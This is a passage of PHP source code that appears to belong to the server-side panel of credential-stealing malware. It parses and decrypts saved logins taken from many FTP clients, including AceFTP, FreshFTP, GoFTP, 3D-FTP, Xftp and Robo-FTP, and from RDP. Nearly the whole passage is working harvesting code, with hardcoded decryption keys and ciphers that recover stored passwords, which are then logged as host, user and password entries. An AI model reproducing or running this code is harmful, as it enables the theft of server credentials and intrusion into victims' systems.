$this->read_word(); break; case 4: // GUESS return $this->read_dword(); break; case 5: $this->read_skip(10); // DateTime break; case 6: case 7: return $this->read_ace_str(); break; case 8: return true; break; case 9: return false; break; case 11: // String List while ($this->state && $this->read_ace_str()) { } break; case 10: case 12: return $this->read_ace_data(); break; case 18: // UNICODE return Utf8ToWin(unicode_to_utf8($this->read_ace_uni_str())); break; case 19: $this->read_skip(8); // Int64 break; case 20: // UTF-8 return Utf8ToWin($this->read_ace_data()); break; default: $this->push_error('ERR_UNK_ACEFTP_ITEM_TYPE: '.$item_type); } return ''; } function read_ace_pair(&$name) { if (!$this->state) return ''; $name = $this->read_ace_str(); if (!strlen($name) || !$this->state) return ''; return $this->read_data($l); } } class module_aceftp extends module { private function unpack_ftp_file($ftp_contents) { $bitmask = array(0, 1, 3, 7, 0xF, 0x1F, 0x3F, 0x7F, 0xFF, 0x1FF, 0x3FF, 0x7FF, 0x0FFF, 0x1FFF, 0x3FFF, 0x7FFF); $source_file_len = strlen($ftp_contents)-4; $source_buffer = $ftp_contents; $unpacked_len = data_int32(substr($source_buffer, 0, 4)); $source_buffer = substr($ftp_contents, 4).chr(0).chr(0).chr(0).chr(0); $first_flag = true; $output_buffer = ''; $bitmask_sum = 0; $bitmask_pos = 0; $bitmask_max = 0; $v23 = 0; $v22 = 0; $input_char_copy1 = 0; $input_char_copy0 = 0; $unpack_buffer_offset = 0; $unpack_buffer = array_fill(0, 32768, 0); $byte_shadow_table = array_fill(0, 32768, 0); $word_shadow_table = array_fill(0, 32770, 0); $unpacked_len2 = $unpacked_len; if ($unpacked_len > 0) { do { if (0 >= $unpack_buffer_offset) { if ($first_flag) { $first_flag = false; $input_char = 0x100; } else { if ($bitmask_sum > $bitmask_max) break; $input_char = ($bitmask[$bitmask_pos] & _BF_SHR32(data_int32(substr($source_buffer, ($bitmask_sum >> 3), 4)), ($bitmask_sum & 7))); $bitmask_sum = $bitmask_sum + $bitmask_pos; } if ($input_char == 0x100) { $bitmask_pos = 9; $bitmask_max = 8 * $source_file_len - 9; $v23 = 0x100 + 2; $v22 = 2 * 0x100; do { if ($bitmask_sum > $bitmask_max) break; $input_char = ($bitmask[$bitmask_pos] & _BF_SHR32(data_int32(substr($source_buffer, ($bitmask_sum >> 3), 4)), ($bitmask_sum & 7))); $bitmask_sum = $bitmask_sum + $bitmask_pos; } while ($input_char == 0x100); $input_char_copy1 = $input_char; $input_char_copy0 = $input_char; } else { if ($input_char == 0x101) break; $input_char_copy2 = $input_char; if ($input_char >= $v23) { $unpack_buffer[$unpack_buffer_offset++] = $input_char_copy1; $input_char = $input_char_copy0; } while ($input_char >= 0x100) { $unpack_buffer[$unpack_buffer_offset++] = $byte_shadow_table[$input_char]; $input_char = $word_shadow_table[$input_char]; } $input_char_copy1 = $input_char; if ($v23 <= 32767) { $word_shadow_table[$v23] = $input_char_copy0 & 0xffff; $byte_shadow_table[$v23] = $input_char_copy1 & 0xff; $v23++; if ($v23 >= $v22) { if ($v22 < 32767) { $v22 = $v22 * 2; $bitmask_pos++; $bitmask_max--; } } } $input_char_copy0 = $input_char_copy2; } } else { $unpack_buffer_offset--; $input_char = $unpack_buffer[$unpack_buffer_offset]; } $output_buffer .= chr($input_char); $unpacked_len2--; } while ($unpacked_len2 > 0); } return $output_buffer; } protected function process_ftp_file($ftp_contents) { if (strlen($ftp_contents) <= 4) return; $unpacked_data = $this->unpack_ftp_file($ftp_contents); if (!strlen($unpacked_data)) return; $stream = new stream_ace($unpacked_data, $this->log); $host = ''; $user = ''; $pass = ''; $port = ''; $dir = ''; $dir_list = array(); $protocol = ''; while ($stream->state) { $item_name = ''; $item_value = $stream->read_ace_pair($item_name); if (!strlen($item_name) || !$stream->state) { break; } switch ($item_name) { case 'HostName': $host = $item_value; break; case 'Password': $pass = $item_value; break; case 'Port': $port = $item_value; break; case 'UserName': $user = $item_value; break; case 'InitialServerFolders.Strings': $dir_list = $item_value; break; case 'Protocol': $protocol = strtolower($item_value); break; } } if (is_array($dir_list) && count($dir_list) > 0) { foreach ($dir_list as $dir) { $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == 'sftp'), $port, $dir), $user, $pass); } } else { $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == 'sftp'), $port, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $ftp_contents = $stream->read_str(); $this->process_ftp_file($ftp_contents); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Global Downloader class stream_globaldownloader extends stream { function read_word_str() { if (!$this->state) return false; return $this->read_strlen($this->read_word()); } function read_str() { if (!$this->state) return false; $len = $this->read_byte(); if ($len == 0xff) { $len = $this->read_word(); if ($len == 0xffff) $len = $this->read_dword(); return $this->read_strlen($len); } else return $this->read_strlen($len); } } class module_globaldownloader extends module { private function decrypt($encrypted_password) { $crypt_pos = strpos($encrypted_password, '>>GD_ENCRYPTED<<'); if ($crypt_pos === false) { return $encrypted_password; } $encrypted_password = substr($encrypted_password, 0, $crypt_pos); $encrypted_password = base64_decode($encrypted_password); $crypt_array = array(0x50, 0x49, 0x1A, 0x52, 0x63, 0x1F, 0x54, 0x64, 0x1B, 0x1B, 0x24, 0x26, 0x33, 0x41, 0x45, 0x3E, 0x6D, 0x1E, 0x4D, 0x1B, 0x56, 0x47, 0x55, 0x5B, 0x6F, 0x4B, 0x47, 0x2D, 0x58, 0x63, 0x57, 0x25, 0x55, 0x21, 0x79, 0x74, 0x74, 0x34, 0x4E, 0x38, 0x71, 0x35, 0x78, 0x3C, 0x67, 0x60, 0x43, 0x24, 0x60, 0x73); $crypt_key = ''; for ($i = 0; $i < count($crypt_array); $i++) $crypt_key .= chr($crypt_array[$i]); $cipher_key = hextostr(md5($crypt_key)); return rc4Decrypt($cipher_key, $encrypted_password); } protected function process_arch_file($arch_contents) { if (strlen($arch_contents) < 10) return; $stream = new stream_globaldownloader($arch_contents, $this->log); $stream->read_skip(4); $type = $stream->read_word_str(); if ($type != 'CsmAddressTree') { $this->log->add('ERR_INVALID_ARCH_FILE_FORMAT'); return; } $nSites = $stream->read_dword(); while ($stream->state && $nSites--) { $stream->read_str(); // Site path $stream->read_str(); // Local path $stream->read_str(); // Notes $pass = $this->decrypt($stream->read_str()); // Password $dir = $stream->read_str(); // Remote directory $host = $stream->read_str(); // Host $stream->read_str(); // Display name $user = $this->decrypt($stream->read_str()); // User name $port = $stream->read_dword(); $protocol = $stream->read_str(); // Protocol $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == 'FTPS'), $port, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $arch_contents = $stream->read_str(); $this->process_arch_file($arch_contents); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FreshFTP //class to encrypt and decrypt according to the "PC1" algorithm // I. Verburgh 2007 class PC1 { var $pkax; var $pkbx; var $pkcx; var $pkdx; var $pksi; var $pktmp; var $x1a2; var $pkres; var $pki; var $inter; var $cfc; var $cfd; var $compte; var $x1a0; var $cle; var $pkc; var $plainlen; var $ascipherlen; var $plainText; var $ascCipherText; function PC1() { } function pkfin() { for ($j=0;$j<16;$j++) { $this->cle[$j] = ""; } for ($j=0;$j<8;$j++) { $this->x1a0[$j] = 0; } $this->pkax = 0; $this->pkbx = 0; $this->pkcx = 0; $this->pkdx = 0; $this->pksi = 0; $this->pktmp = 0; $this->x1a2 = 0; $this->pkres = 0; $this->pki = 0; $this->inter = 0; $this->cfc = 0; $this->cfd = 0; $this->compte = 0; $this->pkc = 0; } function pkcode() { $this->pkdx = $this->x1a2 + $this->pki; $this->pkax = $this->x1a0[$this->pki]; $this->pkcx = 0x015a; $this->pkbx = 0x4e35; $this->pktmp = $this->pkax; $this->pkax = $this->pksi; $this->pksi = $this->pktmp; $this->pktmp = $this->pkax; $this->pkax = $this->pkdx; $this->pkdx = $this->pktmp; if ($this->pkax != 0) { $this->pkax = $this->wordmultiply($this->pkax, $this->pkbx); } $this->pktmp = $this->pkax; $this->pkax = $this->pkcx; $this->pkcx = $this->pktmp; if ($this->pkax != 0) { $this->pkax = $this->wordmultiply($this->pkax, $this->pksi); $this->pkcx = $this->wordsum($this->pkax, $this->pkcx); } $this->pktmp = $this->pkax; $this->pkax = $this->pksi; $this->pksi = $this->pktmp; $this->pkax = $this->wordmultiply($this->pkax, $this->pkbx); $this->pkdx = $this->wordsum($this->pkcx, $this->pkdx); $this->pkax = $this->wordsum($this->pkax, 1); $this->x1a2 = $this->pkdx; $this->x1a0[$this->pki] = $this->pkax; $this->pkres = $this->wordxor($this->pkax, $this->pkdx); $this->pki++; } function wordmultiply($value1, $value2) { if (is_numeric($value1) && is_numeric($value2)) $product = (($value1 * $value2) & 0xffff); else { $product = 0; } return $product; } function wordsum($value1, $value2) { $sum = (($value1 + $value2) & 0xffff); return $sum; } function wordminus($value1, $value2) { $minus = (($value1 - $value2) & 0xffff); return $minus; } function wordxor($value1, $value2) { $outcome = (($value1 ^ $value2) & 0xffff); return $outcome; } function pkassemble() { $this->x1a0[0] = $this->wordsum($this->wordmultiply(ord($this->cle[0]), 256), ord($this->cle[1])); $this->pkcode(); $this->inter = $this->pkres; $this->x1a0[1] = $this->wordxor($this->x1a0[0], $this->wordsum($this->wordmultiply(ord($this->cle[2]), 256), ord($this->cle[3]))); $this->pkcode(); $this->inter = $this->wordxor($this->inter, $this->pkres); $this->x1a0[2] = $this->wordxor($this->x1a0[1], $this->wordsum($this->wordmultiply(ord($this->cle[4]), 256), ord($this->cle[5]))); $this->pkcode(); $this->inter = $this->wordxor($this->inter, $this->pkres); $this->x1a0[3] = $this->wordxor($this->x1a0[2], $this->wordsum($this->wordmultiply(ord($this->cle[6]), 256), ord($this->cle[7]))); $this->pkcode(); $this->inter = $this->wordxor($this->inter, $this->pkres); $this->x1a0[4] = $this->wordxor($this->x1a0[3], $this->wordsum($this->wordmultiply(ord($this->cle[8]), 256), ord($this->cle[9]))); $this->pkcode(); $this->inter = $this->wordxor($this->inter, $this->pkres); $this->x1a0[5] = $this->wordxor($this->x1a0[4], $this->wordsum($this->wordmultiply(ord($this->cle[10]), 256), ord($this->cle[11]))); $this->pkcode(); $this->inter = $this->wordxor($this->inter, $this->pkres); $this->x1a0[6] = $this->wordxor($this->x1a0[5], $this->wordsum($this->wordmultiply(ord($this->cle[12]), 256), ord($this->cle[13]))); $this->pkcode(); $this->inter = $this->wordxor($this->inter, $this->pkres); $this->x1a0[7] = $this->wordxor($this->x1a0[6], $this->wordsum($this->wordmultiply(ord($this->cle[14]), 256), ord($this->cle[15]))); $this->pkcode(); $this->inter = $this->wordxor($this->inter, $this->pkres); $this->pki=0; } function encrypt($in, $key) { $this->pkfin(); $this->k = 0; $this->plainlen = strlen($in); for ($count=0;$count<16;$count++) { if (isset($key[$count])) $this->cle[$count] = $key[$count]; } for ($count=0;$count<$this->plainlen;$count++) { $this->pkc = ord($in[$count]); $this->pkassemble(); $this->cfc = $this->inter >> 8; $this->cfd = $this->inter & 255; for ($this->compte=0;$this->comptecle);$this->compte++) { $this->cle[$this->compte] = chr($this->wordxor(ord($this->cle[$this->compte]), $this->pkc)); } $this->pkc = $this->wordxor($this->pkc, ($this->wordxor($this->cfc, $this->cfd))); $this->pkd = ($this->pkc >> 4); $this->pke = ($this->pkc & 15); $this->ascCipherText[$this->k] = $this->wordsum(0x61, $this->pkd); $this->k++; $this->ascCipherText[$this->k] = $this->wordsum(0x61, $this->pke); $this->k++; } $this->ascCipherText = array_map("chr", $this->ascCipherText); return implode("", $this->ascCipherText); } function decrypt($in, $key) { $this->pkfin(); $return = ""; for ($count=0;$count<16;$count++) { if (isset($key[$count])) $this->cle[$count] = $key[$count]; else $this->cle[$count] = ""; } $this->pksi = 0; $this->x1a2 = 0; $d = 0; $e = 0; $j = 0; $l = 0; $len = strlen($in); while ($j < $len) { $rep = $in[$j]; switch($rep) { case "a": { $d = 0; break; } case "b": { $d = 1; break; } case "c": { $d = 2; break; } case "d": { $d = 3; break; } case "e": { $d = 4; break; } case "f": { $d = 5; break; } case "g": { $d = 6; break; } case "h": { $d = 7; break; } case "i": { $d = 8; break; } case "j": { $d = 9; break; } case "k": { $d = 10; break; } case "l": { $d = 11; break; } case "m": { $d = 12; break; } case "n": { $d = 13; break; } case "o": { $d = 14; break; } case "p": { $d = 15; break; } } $d = $d << 4; $j++; $rep = $in[$j]; switch($rep) { case "a": { $e = 0; break; } case "b": { $e = 1; break; } case "c": { $e = 2; break; } case "d": { $e = 3; break; } case "e": { $e = 4; break; } case "f": { $e = 5; break; } case "g": { $e = 6; break; } case "h": { $e = 7; break; } case "i": { $e = 8; break; } case "j": { $e = 9; break; } case "k": { $e = 10; break; } case "l": { $e = 11; break; } case "m": { $e = 12; break; } case "n": { $e = 13; break; } case "o": { $e = 14; break; } case "p": { $e = 15; break; } } $c = $d + $e; $this->pkassemble(); $this->cfc = $this->inter >> 8; $this->cfd = $this->inter & 255; $c = $this->wordxor($c, ($this->wordxor($this->cfc, $this->cfd))); for ($compte=0;$compte<16;$compte++) $this->cle[$compte] = chr($this->wordxor(ord($this->cle[$compte]), $c)); $return = $return.chr($c); $j++; $l++; } return $return; } } class module_freshftp extends module { private function decrypt($encrypted_password) { $encrypted_password = trim($encrypted_password); if (!strlen($encrypted_password) || (strlen($encrypted_password) % 2 != 0)) return ''; // Use PC1 CIPHER (c) Alexander PUKALL 1991 to decrypt the password $pc = new PC1(); $decrypted_password = $pc->decrypt(strtolower($encrypted_password), 'drianz'); for ($i = 0; $i < strlen($decrypted_password); $i++) if ($decrypted_password[$i] == chr(0)) { $decrypted_password = substr($decrypted_password, 0, $i); break; } return $decrypted_password; } protected function process_smf_file($smf_contents) { if (strlen($smf_contents) < 4) return; $stream = new stream($smf_contents, $this->log); $header = $stream->read_strlen(4); if ($header != 'FFSM') { $this->log->add("ERR_INVALID_SMF_FILE_HEADER"); return; } $stream->read_skip(6); $nSites = $stream->read_dword(); while ($stream->state && $nSites--) { $stream->read_skip(5); $stream->read_strlen($stream->read_word()); // Site name $stream->read_skip(2); $host = $stream->read_strlen($stream->read_word()); // Host $port = $stream->read_dword(); $user = $this->decrypt($stream->read_strlen($stream->read_word())); // User $pass = $this->decrypt($stream->read_strlen($stream->read_word())); // Password $dir = $stream->read_strlen($stream->read_word()); // Remote dir $stream->read_strlen($stream->read_word()); // Local dir $stream->read_skip(75); $stream->read_strlen($stream->read_word()); // Proxy host $stream->read_dword(); $stream->read_strlen($stream->read_word()); // Proxy user $stream->read_strlen($stream->read_word()); // Proxy pass $stream->read_skip(32); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $arch_contents = $stream->read_str(); $this->process_smf_file($arch_contents); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // BlazeFTP class module_blazeftp extends module { private function decrypt($encrypted_password) { $encrypted_password = trim($encrypted_password); if (!strlen($encrypted_password)) return ''; $encrypted_password = hextostr($encrypted_password); if ($encrypted_password === false) { $this->log->add('ERR_INVALID_HEX_STRING'); return ''; } $decrypted_password = ''; for ($i = 0; $i < strlen($encrypted_password); $i++) $decrypted_password .= chr(~((ord($encrypted_password[$i]) << 4) + (ord($encrypted_password[$i]) >> 4))); return $decrypted_password; } protected function process_ini_file($file_contents) { if (strlen($file_contents) <= 4) return; $parsed_ini = parse_ini($file_contents); foreach ($parsed_ini as $section) { if (!is_array($section)) continue; $host = assign($section["address"]); $user = assign($section["username"]); $pass = $this->decrypt(assign($section["password"])); $dir = assign($section["defremotedir"]); $port = assign($section["port"]); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $ini_contents = $stream->read_str(); $this->process_ini_file($ini_contents); break; case 0x0001: $host = $stream->read_str(); $user = $stream->read_str(); $pass = $this->decrypt($stream->read_str()); $port = $stream->read_str(); if (strlen($port) == 4) { $port = data_int32($port); } else $port = 0; $this->add_ftp(append_port($host, $port), $user, $pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // NETFile class module_netfile extends module { protected function process_ini_file($file_contents) { if (strlen($file_contents) <= 4) return; $parsed_ini = parse_ini($file_contents); foreach ($parsed_ini as $section) { if (!is_array($section)) continue; $host = assign($section["address"]); $user = assign($section["userid"]); $pass = assign($section["password"]); $dir = assign($section["initial_directory"]); $port = assign($section["port"]); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $ini_contents = $stream->read_str(); $this->process_ini_file($ini_contents); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // GoFTP class module_goftp extends module { private function decrypt($password) { if (!strlen($password)) return ''; $decoded_data = hextostr($password); if ($decoded_data === false) { $this->log->add('ERR_INVALID_HEX_STRING'); return ''; } $iv = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; $key = "Goftp Rocks 91802sfaiolpqikeu39"; $decrypted_data = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $decoded_data, MCRYPT_MODE_ECB, $iv); if (!strlen($decrypted_data)) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); return ''; } $real_len = data_int32(substr($decrypted_data, 0, 4)); $decrypted_password = substr($decrypted_data, 4, $real_len); if (strlen($decrypted_password) != $real_len) { return ''; } return $decrypted_password; } protected function process_ini_file($file_contents) { if (strlen($file_contents) <= 4) return; $lines = parse_lines($file_contents); if (is_array($lines) && count($lines) > 1) { array_shift($lines); foreach ($lines as $line) { $line = $this->decrypt($line); $pos = strrpos($line, ''); if ($pos !== false) { $line = substr($line, $pos+4); if (strlen($line)) { $ftp_settings = explode('~~~', $line); if (is_array($ftp_settings) && count($ftp_settings) > 5) { $host = $ftp_settings[0]; $port = $ftp_settings[1]; $user = $ftp_settings[2]; $pass = $ftp_settings[3]; $dir = $ftp_settings[5]; if (count($ftp_settings) > 10) $protocol = $ftp_settings[10]; else $protocol = ''; $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == 'SFTP - SSH2 encryption'), $port, $dir), $user, $pass); } } } } } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $ini_contents = $stream->read_str(); $this->process_ini_file($ini_contents); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // 3D-FTP class module_3dftp extends module { private function decrypt($password) { if (substr($password, 0, 2) != '01') return ''; $alphabet = '23456789ABCDEFGHJKLMNPQRSTUVWXYZ'; $password = strtoupper(substr($password, 2)); $s1 = ''; for ($i = 0; $i < strlen($password); $i++) { $k = strpos($alphabet, $password[$i]); if ($k === false) return ''; $v = decbin($k); while (strlen($v) < 5) $v = '0'.$v; if (strlen($v) != 5) return ''; $s1 .= $v; } $s1 = substr($s1, 0, strlen($s1)-(strlen($s1) % 8)); $s2 = str_repeat('0', strlen($s1)); $divider = 1; for ($i = 1; $i <= floor(sqrt(strlen($s1))); $i++) { if ((strlen($s1) % $i) == 0) $divider = $i; } $quotient = int_divide(strlen($s1), $divider); if (($quotient == 1) || ($divider == 1)) return ''; $k = 0; for ($i = 0; $i <= $quotient-1; $i++) { for ($j = $divider-1; $j >= 0; $j--) { $t = (($i+$j*$quotient) % strlen($s1)); $s2[$t] = $s1[$k++]; } } $result = ''; for ($i = 0; $i < int_divide(strlen($s2), 8); $i++) { $result .= chr(bindec(substr($s2, $i*8, 8))); } return $result; } private function build_delimiters($line) { $k = 0; for ($i = 0; $i < strlen($line); $i++) { if ($line[$i] == '*') { if (($k % 2) == 0) { $line[$i] = chr(0); } } if ($line[$i] == '\\') { $k++; } else { $k = 0; } } return $line; } protected function process_ini_file($file_contents) { if (strlen($file_contents) <= 4) return; $lines = parse_lines($file_contents); if (is_array($lines) && count($lines) > 1) { $first_line = array_shift($lines); if ($first_line != '0003DFTP' && $first_line != '[Settings]') { $this->log->add("ERR_INVALID_3DFTP_INI_FILE"); return; } foreach ($lines as $line) { if ($first_line == '[Settings]') { $pos = strpos($line, '[*'); } else { $pos = strpos($line, ',[*'); } if ($pos !== false) { $line = explode(chr(0), stripslashes($this->build_delimiters(substr($line, $pos+3, -2)))); if (is_array($line) && count($line) > 6) { $host = $line[1]; $port = $line[2]; $user = $line[3]; $pass = $this->decrypt($line[4]); $dir = $line[6]; if (count($line) > 52) $protocol = $line[52]; else $protocol = ''; $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == '1'), $port, $dir), $user, $pass); } } } } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $ini_contents = $stream->read_str(); $this->process_ini_file($ini_contents); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Easy FTP class module_easyftp extends module { protected function process_ftp_file($file_contents) { if (substr($file_contents, 0, 2) != ',"') return; $line = explode(",", trim($file_contents)); if (is_array($line) && count($line) == 4) { $host = substr($line[1], 1, -1); $user = substr($line[2], 1, -1); $pass = substr($line[3], 1, -1); $this->add_ftp($host, $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $ini_contents = $stream->read_str(); $this->process_ftp_file($ini_contents); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Xftp class module_xftp extends module { private function decrypt($encrypted_password) { $decoded_password = base64_decode($encrypted_password, true); if (!strlen($decoded_password)) return ''; $cipher_key = md5('!X@s#c$e%l^l&', true); return rc4Decrypt($cipher_key, $decoded_password); } protected function process_ini_file($file_contents) { if (strlen($file_contents) <= 4) return; $parsed_ini = parse_ini($file_contents); $host = ''; $user = ''; $pass = ''; $dir = ''; $port = ''; $protocol = ''; if (is_array($parsed_ini)) { if (is_array($parsed_ini['Connection'])) { $section = $parsed_ini['Connection']; $host = assign($section["host"]); $user = assign($section["username"]); $pass = $this->decrypt(assign($section["password"])); $port = assign($section["port"]); $protocol = assign($section['protocol']); } if (is_array($parsed_ini['InitialFolder'])) { $section = $parsed_ini['InitialFolder']; $dir = assign($section['remote']); } } $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == '1'), $port, $dir), $user, $pass); } public function import_item($stream, $id) { switch ($id) { case 0x0000: $ini_contents = $stream->read_str(); $this->process_ini_file($ini_contents); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // RDP class module_rdp extends module { public function import_item($stream, $id) { switch ($id) { case 0x0000: case 0x0001: $rdp_user = ztrim($stream->read_str()); if ($id == 0x0001) { $ip = $stream->read_dword(); $rdp_host = strval($ip & 0xff).'.'. strval(($ip >> 8) & 0xff).'.'. strval(($ip >> 16) & 0xff).'.'. strval(($ip >> 24) & 0xff); } else { $rdp_host = ztrim($stream->read_str()); } $rdp_pass = ztrim_unicode($stream->read_str()); $rdp_pass = unicode_to_ansi($rdp_pass); $rdp_host = str_replace('TERMSRV/', '', $rdp_host); $this->add_rdp($rdp_host, $rdp_user, $rdp_pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FTP Now class module_ftpnow extends module { private function read_xml_item($xml_array) { $host = assign($xml_array['ADDRESS']); $user = assign($xml_array['LOGIN']); $pass = assign($xml_array['PASSWORD']); $port = assign($xml_array['PORT']); $dir = assign($xml_array['REMOTEPATH']); $host = utf8_decode($host); $user = utf8_decode($user); $pass = utf8_decode($pass); $dir = utf8_decode($dir); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); foreach ($xml_array as $value) { if (is_array($value)) $this->read_xml_item($value); } } private function rec_scan_xml_array($xml_array) { foreach ($xml_array as $key=>$value) { if (is_array($value)) { if (strpos(strval($key), 'SITE') !== false) $this->read_xml_item($value); $this->rec_scan_xml_array($value); } } } private function process_xml($value) { if (!strlen($value)) return; $xml_parser = new XMLParser(utf8_encode($value)); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { $this->rec_scan_xml_array($parsed_xml); } else { $this->log->add("ERR_XML_PARSE"); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_xml($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Robo-FTP class module_roboftp extends module { private $host_collector = array(); private function process_s_file($value) { if (!strlen($value)) return; $pos = stripos($value, 'FTPLOGON'); if ($pos !== false) { $login_str = ''; for ($i = $pos; $i < strlen($value); $i++) { if ($value[$i] == chr(13) || $value[$i] == chr(10)) break; $login_str .= $value[$i]; } $pos = strpos($login_str, '/'); $param_str = ''; if ($pos !== false) { $param_str = substr($login_str, $pos); $login_str = substr($login_str, 0, $pos); } $user = ''; $pass = ''; $port = ''; $protocol = ''; // Get host arguments $params = explode('/', $param_str); foreach ($params as $param) { $pair = explode('=', $param); if (is_array($pair) && count($pair) == 2) { $pair[0] = trim($pair[0]); $pair[1] = trim($pair[1]); if (strcasecmp($pair[0], 'user') == 0) $user = $pair[1]; if (strcasecmp($pair[0], 'pw') == 0) $pass = $pair[1]; if (strcasecmp($pair[0], 'port') == 0) $port = $pair[1]; if (strcasecmp($pair[0], 'servertype') == 0) $protocol = strtolower($pair[1]); if (strcasecmp($pair[0], 'type') == 0) $protocol = strtolower($pair[1]); } } // Extract host if (($pos = strpos($login_str, '\'')) !== false) { $login_str = substr($login_str, $pos+1); } if (($pos = strpos($login_str, '\'')) !== false) { $login_str = substr($login_str, 0, $pos); } if (($pos = strpos($login_str, '"')) !== false) { $login_str = substr($login_str, $pos+1); } if (($pos = strpos($login_str, '"')) !== false) { $login_str = substr($login_str, 0, $pos); } $host = trim($login_str); $host = trim(substr($host, 9)); if (!strlen($host)) { // No host specified // Use one of default hosts foreach ($this->host_collector as $item) { $item_user = $user; if (!strlen($item_user)) $item_user = $item[1]; $this->add_ftp(append_port(ftp_force_ssh($item[0], $protocol == 'sftp'), $port), $item_user, $pass); } } else { // Use specified host $this->add_ftp(append_port(ftp_force_ssh($host, $protocol == 'sftp'), $port), $user, $pass); } } } public function import_item($stream, $id) { switch ($id) { case 0x0000: case 0x0010: // Stored sites (registry) $host = $stream->read_str(); $user = $stream->read_str(); $pass = $stream->read_str(); $port = $stream->read_dword(); $dir = $stream->read_str(); if (($id & 0x10) > 0) $protocol = $stream->read_str(); else $protocol = ''; $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == 'SFTP (FTP + SSH)'), $port, $dir), $user, $pass); array_push($this->host_collector, array($host, $user)); break; case 0x0001: $this->process_s_file($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Certificate class module_cert extends module { public function import_item($stream, $id) { switch ($id) { case 0x0000: $cert = $stream->read_str(); $pvt_key = 